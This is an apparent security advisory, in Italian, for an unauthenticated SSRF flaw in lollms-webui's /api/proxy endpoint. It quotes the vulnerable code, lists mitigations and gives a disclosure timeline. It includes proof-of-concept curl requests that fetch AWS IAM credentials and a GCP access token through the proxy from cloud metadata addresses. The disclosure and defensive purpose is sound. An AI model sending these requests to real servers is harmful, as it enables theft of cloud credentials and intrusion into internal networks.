
CVE-2026-33340: SSRF critica in lollms-webui /api/proxy - Falsificazione arbitraria di richieste senza autenticazione (CVSS 9.1)
| Campo | Dettaglio |
|---|---|
| CVE ID | CVE-2026-33340 |
| Vulnerabilità | Server-Side Request Forgery (SSRF) |
| Prodotto interessato | ParisNeo/lollms-webui (LoLLMs WEBUI) |
| Gravità | Critica — CVSS 9.1 |
| Vettore CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Componente interessato | lollms_core/lollms/server/endpoints/lollms_apps.py |
| Endpoint vulnerabile | /api/proxy |
| Avviso | GHSA-mcwr-5469-pxj4 |
| NVD | Voce NVD |
| SentinelOne | Analisi SentinelOne |
| Scoperto da | Regaan R — ROT Independent Security Research Lab |
È stata identificata una vulnerabilità critica di Server-Side Request Forgery (SSRF) in lollms-webui, l'interfaccia web per Lord of Large Language and Multi modal Systems. L'endpoint @router.post("/api/proxy") consente ad attaccanti non autenticati di forzare il server a effettuare richieste GET arbitrarie. Questo può essere sfruttato per accedere a servizi interni, scansionare reti locali o esfiltrare metadati cloud sensibili come i token IAM AWS/GCP.
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py (Righe 443-450)/api/proxyLa vulnerabilità esiste perché la funzione proxy in lollms_apps.py non implementa l'autenticazione né alcuna forma di validazione di URL/dominio. Accetta una stringa URL grezza dall'utente e la passa direttamente a un client HTTP asincrono.
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id) né alcun middleware di autenticazione, consentendo a qualsiasi utente non autenticato di invocarlo.httpx.AsyncClient().get() senza verificare la destinazione rispetto a una whitelist o bloccare gli intervalli di IP privati/interni.{"content": response.text}, consentendo la completa esfiltrazione dei dati.echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
Il server ha recuperato il file dal servizio interno e ne ha restituito il contenuto all'attaccante.
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
Alla data di pubblicazione, una versione corretta di lollms-webui è già stata rilasciata.
| Data | Evento |
|---|---|
| 2026-03-07 | Vulnerabilità scoperta e segnalata tramite GitHub Security Advisory |
| 2026-03-24 | CVE-2026-33340 pubblicato su NVD |
| 2026-03-25 | Voce del database NVD aggiornata |
| 2026-03-27 | SentinelOne pubblica l'analisi della vulnerabilità |
Regaan R (@regaan) Ricercatore principale — ROT Independent Security Research Lab
Questo writeup è pubblicato esclusivamente a scopo educativo e difensivo. La vulnerabilità è stata segnalata tramite divulgazione responsabile attraverso GitHub Security Advisories. Ottenere sempre la dovuta autorizzazione prima di testare le vulnerabilità.
Questo writeup è rilasciato sotto CC BY 4.0.
| Scenario | Descrizione |
|---|
| Furto di credenziali cloud | Gli attaccanti su piattaforme cloud (AWS/GCP/Azure) possono accedere a http://169.254.169.254/ per recuperare metadati dell'istanza, credenziali IAM e token di accesso — portando alla compromissione completa dell'account cloud. |
| Pivoting nella rete interna | Gli attaccanti possono sondare database interni, API, pannelli di amministrazione e interfacce di gestione non esposti alla rete pubblica. |
| Accesso ai servizi localhost | Gli attaccanti possono raggiungere i servizi in ascolto su localhost (Redis, Elasticsearch, API Docker, console di database) che si fidano implicitamente del traffico locale. |
| Scansione delle porte interne | La SSRF può essere utilizzata per enumerare le porte aperte e i servizi in esecuzione sulla rete interna osservando i tempi di risposta e i messaggi di errore. |
| Esfiltrazione dei dati | Qualsiasi dato accessibile via HTTP nella rete del server può essere letto e restituito all'attaccante. |